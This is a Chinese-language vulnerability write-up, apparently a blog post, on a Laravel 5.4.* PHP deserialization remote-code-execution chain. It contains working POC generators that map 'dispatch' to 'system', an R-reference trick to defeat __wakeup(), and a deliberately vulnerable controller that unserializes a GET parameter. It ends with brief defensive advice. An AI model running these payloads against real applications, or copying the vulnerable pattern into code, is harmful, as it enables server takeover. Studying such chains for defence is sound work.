Laravel 5.4.*反序列化——对冲__wakeup()的RCE链利用
字数 1161 2025-08-26 22:11:51

Laravel 5.4.* 反序列化漏洞分析与利用

环境搭建

  1. 使用Composer创建Laravel 5.4.*项目:

    composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"
    
  2. 配置路由(routes/web.php):

    Route::get("/","\App\Http\Controllers\POPController@test");
    
  3. 创建控制器(app/Http/Controllers/POPController.php):

    namespace App\Http\Controllers;
    use Illuminate\Http\Request;
    
    class POPController extends Controller {
        public function test() {
            if(isset($_GET['test'])) {
                $test = $_GET['test'];
                unserialize($test);
            } else {
                echo "No Data";
            }
        }
    }
    

漏洞分析

反序列化入口点

Illuminate\Broadcasting\PendingBroadcast类中找到__destruct()方法:

public function __destruct() {
    $this->events->dispatch($this->event);
}

利用链构建

  1. 第一步:通过PendingBroadcast__destruct()调用dispatch()方法
  2. 第二步:寻找没有dispatch()方法的类,触发__call()魔术方法
  3. 第三步:利用Faker\Generator类的__call()方法:
    public function __call($method, $attributes) {
        return call_user_func_array($this->getFormatter($method), $attributes);
    }
    
    其中getFormatter()方法:
    public function getFormatter($formatter) {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        // ...
    }
    

原始POC

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Faker {
    class Generator {
        protected $formatters;
        function __construct() {
            $this->formatters = ['dispatch' => 'system'];
        }
    }
}

namespace {
    $a = new Faker\Generator();
    $b = new Illuminate\Broadcasting\PendingBroadcast($a, 'ls');
    echo urlencode(serialize($b));
}

__wakeup()绕过问题

Laravel 5.4.*的PHP版本要求(≥5.6.4)使得CVE-2016-7124(__wakeup绕过)不可用。

高级绕过技术

PHP序列化引用类型

  1. r类型:对象引用(深拷贝)
  2. R类型:指针引用(浅拷贝)

示例:

class Demo {
    var $a;
    var $b;
    var $c;
    public function __construct() {
        $this->a = 'first';
        $this->b = 'second';
        $this->c = 'third';
    }
}

$d = new Demo();
$d->c = &$d->a;  // 使用R引用

对冲__wakeup()的思路

  1. 使被置空的$formatters变量与某个类中的变量$bypass成为R指针引用关系
  2. $formatters被置空时,通过改变$bypass的值来修改$formatters
  3. 在执行getFormatter()之前完成上述操作

实际利用链

使用Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator类的__destruct()方法:

public function __destruct() {
    $this->parent->addCollection($this->collection);
}

通过RouteCollectionaddCollection()方法:

public function addCollection(RouteCollection $collection) {
    foreach ($collection->all() as $name => $route) {
        $this->add($name, $route);
    }
}

最终POC

namespace Symfony\Component\Routing\Loader\Configurator {
    class CollectionConfigurator {
        public function __construct() {
            $this->parent = new \Symfony\Component\Routing\RouteCollection();
            $this->collection = new \Symfony\Component\Routing\RouteCollection();
            $this->route = new \Symfony\Component\Routing\Route();
            $this->parentConfigurator = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}

namespace Symfony\Component\Routing {
    class RouteCollection {
        public function __construct() {
            $this->routes = ["dispatch" => "system"];
        }
    }
    
    class Route {
        public function __construct() {
            $this->path = '////';  // trim后为空,直接return
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct() {
            $this->events = new \Faker\Generator();
            $this->event = 'calc.exe';
        }
    }
}

namespace Faker {
    class Generator {
        protected $formatters;
        protected $providers;
        public function __construct() {
            $this->formatters = ['useless'];
        }
    }
}

namespace {
    $POC = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator();
    echo urlencode(str_replace('363', '333', str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC))));
}

利用链总结

  1. CollectionConfigurator::__destruct() -> RouteCollection::addCollection()
  2. RouteCollection::all() -> 获取routes数组
  3. PendingBroadcast::__destruct() -> Generator::dispatch()
  4. Generator::__call() -> call_user_func_array()
  5. 通过R引用绕过__wakeup()$formatters的置空

防御措施

  1. 避免反序列化用户输入
  2. 及时更新Laravel框架版本
  3. 使用类型严格比较
  4. 实施输入验证和过滤

参考链接

  1. inHann师傅的__wakeup绕过思路
  2. PHP序列化技巧
  3. PHP引用类型说明
Laravel 5.4.* 反序列化漏洞分析与利用 环境搭建 使用Composer创建Laravel 5.4.* 项目: 配置路由(routes/web.php): 创建控制器(app/Http/Controllers/POPController.php): 漏洞分析 反序列化入口点 在 Illuminate\Broadcasting\PendingBroadcast 类中找到 __destruct() 方法: 利用链构建 第一步 :通过 PendingBroadcast 的 __destruct() 调用 dispatch() 方法 第二步 :寻找没有 dispatch() 方法的类,触发 __call() 魔术方法 第三步 :利用 Faker\Generator 类的 __call() 方法: 其中 getFormatter() 方法: 原始POC __ wakeup()绕过问题 Laravel 5.4.* 的PHP版本要求(≥5.6.4)使得CVE-2016-7124(__ wakeup绕过)不可用。 高级绕过技术 PHP序列化引用类型 r类型 :对象引用(深拷贝) R类型 :指针引用(浅拷贝) 示例: 对冲__ wakeup()的思路 使被置空的 $formatters 变量与某个类中的变量 $bypass 成为R指针引用关系 当 $formatters 被置空时,通过改变 $bypass 的值来修改 $formatters 在执行 getFormatter() 之前完成上述操作 实际利用链 使用 Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator 类的 __destruct() 方法: 通过 RouteCollection 的 addCollection() 方法: 最终POC 利用链总结 CollectionConfigurator::__destruct() -> RouteCollection::addCollection() RouteCollection::all() -> 获取routes数组 PendingBroadcast::__destruct() -> Generator::dispatch() Generator::__call() -> call_user_func_array() 通过R引用绕过 __wakeup() 对 $formatters 的置空 防御措施 避免反序列化用户输入 及时更新Laravel框架版本 使用类型严格比较 实施输入验证和过滤 参考链接 inHann师傅的__ wakeup绕过思路 PHP序列化技巧 PHP引用类型说明